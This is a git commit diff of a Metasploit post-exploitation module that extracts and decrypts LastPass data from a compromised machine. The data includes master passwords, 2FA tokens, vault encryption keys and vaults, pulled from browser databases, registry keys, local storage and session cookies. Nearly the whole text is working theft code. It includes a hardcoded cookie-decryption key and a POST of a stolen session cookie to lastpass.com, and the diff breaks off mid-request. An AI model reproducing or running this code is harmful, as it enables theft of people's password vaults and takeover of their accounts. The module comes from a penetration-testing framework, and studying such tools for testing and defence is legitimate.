Land #6374, Update the Lastpass creds module with new attack vectors
commit
3422bd1646
|
@ -1,7 +1,12 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'base64'
|
||||
require 'sqlite3'
|
||||
require 'uri'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
|
@ -10,22 +15,26 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LastPass Master Password Extractor',
|
||||
'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords',
|
||||
super(update_info(info,
|
||||
'Name' => 'LastPass Vault Decryptor',
|
||||
'Description' => %q{
|
||||
This module extracts and decrypts LastPass master login accounts and passwords,
|
||||
encryption keys, 2FA tokens and all the vault passwords
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Author' =>
|
||||
[
|
||||
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
|
||||
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
|
||||
],
|
||||
'Platform' => %w(linux osx unix win),
|
||||
'References' => [['URL', 'http://www.martinvigo.com/a-look-into-lastpass/']],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
|
||||
],
|
||||
'SessionTypes' => %w(meterpreter shell)
|
||||
)
|
||||
)
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
|
@ -42,129 +51,108 @@ class Metasploit3 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
print_status "Extracting credentials from #{account_map.size} LastPass databases"
|
||||
print_status "Extracting credentials"
|
||||
extract_credentials(account_map)
|
||||
|
||||
# an array of [user, encrypted password, browser]
|
||||
credentials = [] # All credentials to be decrypted
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, paths|
|
||||
if browser == 'Firefox'
|
||||
paths.each do |path|
|
||||
data = read_file(path)
|
||||
loot_path = store_loot(
|
||||
'firefox.preferences',
|
||||
'text/javascript',
|
||||
session,
|
||||
data,
|
||||
nil,
|
||||
"Firefox preferences file #{path}"
|
||||
)
|
||||
print_status "Extracting 2FA tokens"
|
||||
extract_2fa_tokens(account_map)
|
||||
|
||||
# Extract usernames and passwords from preference file
|
||||
firefox_credentials(loot_path).each do |creds|
|
||||
credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])]
|
||||
end
|
||||
end
|
||||
else # Chrome, Safari and Opera
|
||||
paths.each do |path|
|
||||
data = read_file(path)
|
||||
loot_path = store_loot(
|
||||
"#{browser.downcase}.lastpass.database",
|
||||
'application/x-sqlite3',
|
||||
session,
|
||||
data,
|
||||
nil,
|
||||
"#{account}'s #{browser} LastPass database #{path}"
|
||||
)
|
||||
print_status "Extracting vault and iterations"
|
||||
extract_vault_and_iterations(account_map)
|
||||
|
||||
# Parsing/Querying the DB
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
lastpass_user, lastpass_pass = db.execute(
|
||||
"SELECT username, password FROM LastPassSavedLogins2 " \
|
||||
"WHERE username IS NOT NULL AND username != '' " \
|
||||
"AND password IS NOT NULL AND password != '';"
|
||||
).flatten
|
||||
if lastpass_user && lastpass_pass
|
||||
credentials << [account, browser, lastpass_user, lastpass_pass]
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
print_status "Extracting encryption keys"
|
||||
extract_vault_keys(account_map)
|
||||
|
||||
print_lastpass_data(account_map)
|
||||
end
|
||||
|
||||
credentials_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "LastPass credentials",
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(Account Browser LastPass_Username LastPass_Password)
|
||||
)
|
||||
# Parse and decrypt credentials
|
||||
credentials.each do |row| # Decrypt passwords
|
||||
account, browser, user, enc_pass = row
|
||||
vprint_status "Decrypting password for #{account}'s #{user} from #{browser}"
|
||||
password = clear_text_password(user, enc_pass)
|
||||
credentials_table << [account, browser, user, password]
|
||||
end
|
||||
unless credentials.empty?
|
||||
print_good credentials_table.to_s
|
||||
path = store_loot(
|
||||
"lastpass.creds",
|
||||
"text/csv",
|
||||
session,
|
||||
credentials_table.to_csv,
|
||||
nil,
|
||||
"Decrypted LastPass Master Passwords"
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a mapping of { Account => { Browser => paths } }
|
||||
# Returns a mapping of lastpass accounts
|
||||
def build_account_map
|
||||
platform = session.platform
|
||||
profiles = user_profiles
|
||||
found_dbs_map = {}
|
||||
|
||||
if datastore['VERBOSE']
|
||||
vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}"
|
||||
else
|
||||
print_status "Found #{profiles.size} users"
|
||||
end
|
||||
account_map = {}
|
||||
|
||||
profiles.each do |user_profile|
|
||||
account = user_profile['UserName']
|
||||
browser_path_map = {}
|
||||
localstorage_path_map = {}
|
||||
cookies_path_map = {}
|
||||
|
||||
case platform
|
||||
when /win/
|
||||
browser_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
|
||||
'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
||||
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
|
||||
}
|
||||
localstorage_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||
}
|
||||
cookies_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
|
||||
'Firefox' => "", # It's set programmatically
|
||||
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
|
||||
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
|
||||
}
|
||||
when /unix|linux/
|
||||
browser_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox"
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
|
||||
}
|
||||
localstorage_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
|
||||
}
|
||||
cookies_path_map = { # TODO
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
|
||||
'Firefox' => "", # It's set programmatically
|
||||
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
|
||||
}
|
||||
when /osx/
|
||||
browser_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles",
|
||||
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
|
||||
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
|
||||
}
|
||||
localstorage_path_map = {
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
|
||||
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
|
||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
|
||||
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
|
||||
}
|
||||
cookies_path_map = { # TODO
|
||||
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
|
||||
'Firefox' => "", # It's set programmatically
|
||||
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
|
||||
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
|
||||
}
|
||||
else
|
||||
print_error "Platform not recognized: #{platform}"
|
||||
end
|
||||
|
||||
found_dbs_map[account] = {}
|
||||
account_map[account] = {}
|
||||
browser_path_map.each_pair do |browser, path|
|
||||
account_map[account][browser] = {}
|
||||
db_paths = find_db_paths(path, browser, account)
|
||||
found_dbs_map[account][browser] = db_paths unless db_paths.empty?
|
||||
if db_paths && db_paths.size > 0
|
||||
account_map[account][browser]['lp_db_path'] = db_paths.first
|
||||
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
|
||||
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
|
||||
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox')
|
||||
else
|
||||
account_map[account].delete(browser)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
found_dbs_map
|
||||
account_map
|
||||
end
|
||||
|
||||
# Returns a list of DB paths found in the victims' machine
|
||||
|
@ -172,11 +160,14 @@ class Metasploit3 < Msf::Post
|
|||
paths = []
|
||||
|
||||
vprint_status "Checking #{account}'s #{browser}"
|
||||
if browser == "Firefox" # Special case for Firefox
|
||||
profiles = firefox_profile_files(path, browser)
|
||||
paths |= profiles
|
||||
if browser == "IE" # Special case for IE
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers")
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers") if data.blank?
|
||||
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != "Low\\LastPass" # Hacky way to detect if there is access to user's data (attacker has no root access)
|
||||
elsif browser == "Firefox" # Special case for Firefox
|
||||
paths |= firefox_profile_files(path)
|
||||
else
|
||||
paths |= file_paths(path, browser, account)
|
||||
paths |= file_paths(path)
|
||||
end
|
||||
|
||||
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
|
||||
|
@ -188,11 +179,7 @@ class Metasploit3 < Msf::Post
|
|||
user_profiles = []
|
||||
case session.platform
|
||||
when /unix|linux/
|
||||
if session.type == "meterpreter"
|
||||
user_names = client.fs.dir.entries("/home")
|
||||
else
|
||||
user_names = session.shell_command("ls /home").split
|
||||
end
|
||||
user_names = dir("/home")
|
||||
user_names.reject! { |u| %w(. ..).include?(u) }
|
||||
user_names.each do |user_name|
|
||||
user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}")
|
||||
|
@ -216,25 +203,14 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
# Extracts the databases paths from the given folder ignoring . and ..
|
||||
def file_paths(path, browser, account)
|
||||
def file_paths(path)
|
||||
found_dbs_paths = []
|
||||
|
||||
files = []
|
||||
if directory?(path)
|
||||
sep = session.platform =~ /win/ ? '\\' : '/'
|
||||
if session.type == "meterpreter"
|
||||
files = client.fs.dir.entries(path)
|
||||
elsif session.type == "shell"
|
||||
files = session.shell_command("ls \"#{path}\"").split
|
||||
else
|
||||
print_error "Session type not recognized: #{session.type}"
|
||||
return found_dbs_paths
|
||||
end
|
||||
end
|
||||
|
||||
files = dir(path) if directory?(path)
|
||||
files.each do |file_path|
|
||||
unless %w(. .. Shared).include?(file_path)
|
||||
found_dbs_paths.push([path, file_path].join(sep))
|
||||
found_dbs_paths.push([path, file_path].join(system_separator))
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -242,72 +218,595 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
# Returns the profile files for Firefox
|
||||
def firefox_profile_files(path, browser)
|
||||
def firefox_profile_files(path)
|
||||
found_dbs_paths = []
|
||||
|
||||
if directory?(path)
|
||||
sep = session.platform =~ /win/ ? '\\' : '/'
|
||||
if session.type == "meterpreter"
|
||||
files = client.fs.dir.entries(path)
|
||||
elsif session.type == "shell"
|
||||
files = session.shell_command("ls \"#{path}\"").split
|
||||
else
|
||||
print_error "Session type not recognized: #{session.type}"
|
||||
return found_dbs_paths
|
||||
end
|
||||
|
||||
files = dir(path)
|
||||
files.reject! { |file| %w(. ..).include?(file) }
|
||||
files.each do |file_path|
|
||||
found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/)
|
||||
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
|
||||
end
|
||||
end
|
||||
|
||||
found_dbs_paths
|
||||
[found_dbs_paths]
|
||||
end
|
||||
|
||||
# Parses the Firefox preferences file and returns encoded credentials
|
||||
def firefox_credentials(loot_path)
|
||||
def ie_firefox_credentials(prefs_path, localstorage_db_path)
|
||||
credentials = []
|
||||
File.readlines(loot_path).each do |line|
|
||||
if /user_pref\("extensions.lastpass.loginpws", "(?<encoded_creds>.*)"\);/ =~ line
|
||||
creds_per_user = encoded_creds.split("|")
|
||||
creds_per_user.each do |user_creds|
|
||||
parts = user_creds.split('=')
|
||||
# Any valid credentials present?
|
||||
credentials << parts if parts.size > 1
|
||||
data = nil
|
||||
|
||||
if prefs_path.nil? # IE
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginUsers")
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', "LoginUsers") if data.blank?
|
||||
return [] if data.blank?
|
||||
|
||||
usernames = data.split("|")
|
||||
usernames.each do |username|
|
||||
credentials << [username, nil]
|
||||
end
|
||||
else
|
||||
next
|
||||
|
||||
# Extract master passwords
|
||||
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws")
|
||||
data = Rex::Text.encode_base64(data) unless data.blank?
|
||||
else # Firefox
|
||||
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', "text/javascript", "Firefox preferences file")
|
||||
return [] unless loot_path
|
||||
File.readlines(loot_path).each do |line|
|
||||
if /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
|
||||
usernames = encoded_users.split("|")
|
||||
usernames.each do |username|
|
||||
credentials << [username, nil]
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# Extract master passwords
|
||||
path = localstorage_db_path + system_separator + "lp.loginpws"
|
||||
data = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
end
|
||||
|
||||
# Get encrypted master passwords
|
||||
data = windows_unprotect(data) if data != nil && data.match(/^AQAAA.+/) # Verify Windows protection
|
||||
return credentials if data.blank? # No passwords stored
|
||||
creds_per_user = data.split("|")
|
||||
creds_per_user.each_with_index do |user_creds, index|
|
||||
parts = user_creds.split('=')
|
||||
for creds in credentials
|
||||
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
|
||||
end
|
||||
end
|
||||
credentials
|
||||
end
|
||||
|
||||
# Decrypts the password
|
||||
def clear_text_password(email, encrypted_data)
|
||||
return if encrypted_data.blank?
|
||||
def decrypt_data(key, encrypted_data)
|
||||
return nil if encrypted_data.blank?
|
||||
|
||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email)
|
||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||
|
||||
if encrypted_data.include?("|") # Apply CBC
|
||||
if encrypted_data.include?("|") # Use CBC
|
||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||
decipher.decrypt
|
||||
decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary
|
||||
decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and |
|
||||
encrypted_password = encrypted_data[26..-1]
|
||||
else # Apply ECB
|
||||
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
|
||||
encrypted_data = encrypted_data[26..-1] # Take only the data part
|
||||
else # Use ECB
|
||||
decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
||||
decipher.decrypt
|
||||
decipher.key = sha256_binary_email
|
||||
encrypted_password = encrypted_data
|
||||
end
|
||||
|
||||
begin
|
||||
decipher.update(Base64.decode64(encrypted_password)) + decipher.final
|
||||
rescue
|
||||
print_error "Password for #{email} could not be decrypted"
|
||||
decipher.decrypt
|
||||
decipher.key = key
|
||||
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
vprint_error "Data could not be decrypted. #{e.message}"
|
||||
end
|
||||
|
||||
decrypted_data
|
||||
end
|
||||
|
||||
def extract_credentials(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
account_map[account][browser]['lp_creds'] = {}
|
||||
if browser.match(/Firefox|IE/)
|
||||
if browser == "Firefox"
|
||||
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
|
||||
else # IE
|
||||
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
|
||||
end
|
||||
unless ieffcreds.blank?
|
||||
ieffcreds.each do |creds|
|
||||
if creds[1].blank? # No master password found
|
||||
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
|
||||
else
|
||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
|
||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
|
||||
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
|
||||
end
|
||||
end
|
||||
end
|
||||
else # Chrome, Safari and Opera
|
||||
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
|
||||
account_map[account][browser]['lp_db_loot'] = loot_path
|
||||
next if loot_path.blank?
|
||||
# Parsing/Querying the DB
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
result = db.execute(
|
||||
"SELECT username, password FROM LastPassSavedLogins2 " \
|
||||
"WHERE username IS NOT NULL AND username != '' " \
|
||||
)
|
||||
|
||||
for row in result
|
||||
if row[0]
|
||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
|
||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
|
||||
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Extracts the 2FA token from localStorage
|
||||
def extract_2fa_tokens(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
if browser.match(/Firefox|IE/)
|
||||
path = lp_data['localstorage_db'] + system_separator + "lp.suid"
|
||||
data = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
|
||||
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
account_map[account][browser]['lp_2fa'] = data
|
||||
else # Chrome, Safari and Opera
|
||||
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
unless loot_path.blank?
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
token = db.execute(
|
||||
"SELECT hex(value) FROM ItemTable " \
|
||||
"WHERE key = 'lp.uid';"
|
||||
).flatten
|
||||
end
|
||||
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Print all extracted LastPass data
|
||||
def print_lastpass_data(account_map)
|
||||
lastpass_data_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "LastPass Accounts",
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key)
|
||||
)
|
||||
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless account_map.empty?
|
||||
print_good lastpass_data_table.to_s
|
||||
loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data")
|
||||
print_vault_passwords(account_map)
|
||||
end
|
||||
end
|
||||
|
||||
def extract_vault_and_iterations(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
if browser.match(/Firefox|IE/)
|
||||
if browser == "Firefox"
|
||||
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
|
||||
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
|
||||
else # IE
|
||||
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr"
|
||||
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml"
|
||||
end
|
||||
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
|
||||
iterations = nil if iterations.blank? # Verify content
|
||||
lp_data['lp_creds'][username]['iterations'] = iterations
|
||||
|
||||
# Find encrypted vault
|
||||
vault = read_remote_file(vault_path)
|
||||
vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection
|
||||
vault = vault.sub(/iterations=.*;/, "") if file?(vault_path) # Remove iterations info
|
||||
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
|
||||
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
||||
|
||||
else # Chrome, Safari and Opera
|
||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||
result = db.execute(
|
||||
"SELECT data FROM LastPassData " \
|
||||
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
|
||||
)
|
||||
|
||||
if result.size == 1 && !result[0].blank?
|
||||
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
|
||||
lp_data['lp_creds'][username]['iterations'] = iterations
|
||||
else
|
||||
lp_data['lp_creds'][username]['iterations'] = 1
|
||||
end
|
||||
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
|
||||
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
||||
else
|
||||
lp_data['lp_creds'][username]['iterations'] = nil
|
||||
lp_data['lp_creds'][username]['vault_loot'] = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_vault_keys(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials
|
||||
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
|
||||
else # Get vault key decrypting the locally stored one or from the disabled OTP
|
||||
unless browser_checked
|
||||
decrypt_local_vault_key(account, browser_map)
|
||||
browser_checked = true
|
||||
end
|
||||
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
|
||||
otpbin = extract_otpbin(browser, username, lp_data)
|
||||
otpbin.blank? ? next : otpbin = otpbin[0..31]
|
||||
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Decrypt the locally stored vault key
|
||||
def decrypt_local_vault_key(account, browser_map)
|
||||
data = nil
|
||||
session_cookie_value = nil
|
||||
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
if browser == "IE" && directory?(lp_data['cookies_db'])
|
||||
cookies_files = dir(lp_data['cookies_db'])
|
||||
cookies_files.reject! { |u| %w(. ..).include?(u) }
|
||||
cookies_files.each do |cookie_jar_file|
|
||||
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
|
||||
next if data.blank?
|
||||
if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
|
||||
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
|
||||
session_cookie_value = session_cookie_value_match
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
case browser
|
||||
when /Chrome/
|
||||
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
|
||||
when "Opera"
|
||||
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
|
||||
when "Firefox"
|
||||
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
|
||||
else
|
||||
vprint_error "Browser #{browser} not supported for cookies"
|
||||
next
|
||||
end
|
||||
# Parsing/Querying the DB
|
||||
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB")
|
||||
next if loot_path.blank?
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
begin
|
||||
result = db.execute(query)
|
||||
rescue SQLite3::SQLException => e
|
||||
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
|
||||
next
|
||||
end
|
||||
next if result.blank? # No session cookie found for this browser
|
||||
session_cookie_value = result[0][0]
|
||||
end
|
||||
return if session_cookie_value.blank?
|
||||
|
||||
# Check if cookie value needs to be decrypted
|
||||
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
|
||||
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
|
||||
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
|
||||
begin
|
||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||
decipher.decrypt
|
||||
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
|
||||
decipher.iv = " " * 16
|
||||
session_cookie_value = session_cookie_value[3..-1] # Discard v10
|
||||
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
print_error "Cookie could not be decrypted. #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
# Use the cookie to obtain the encryption key to decrypt the vault key
|
||||
uri = URI('https://lastpass.com/login_check.php')
|
||||
request = Net::HTTP::Post.new(uri)
|
||||
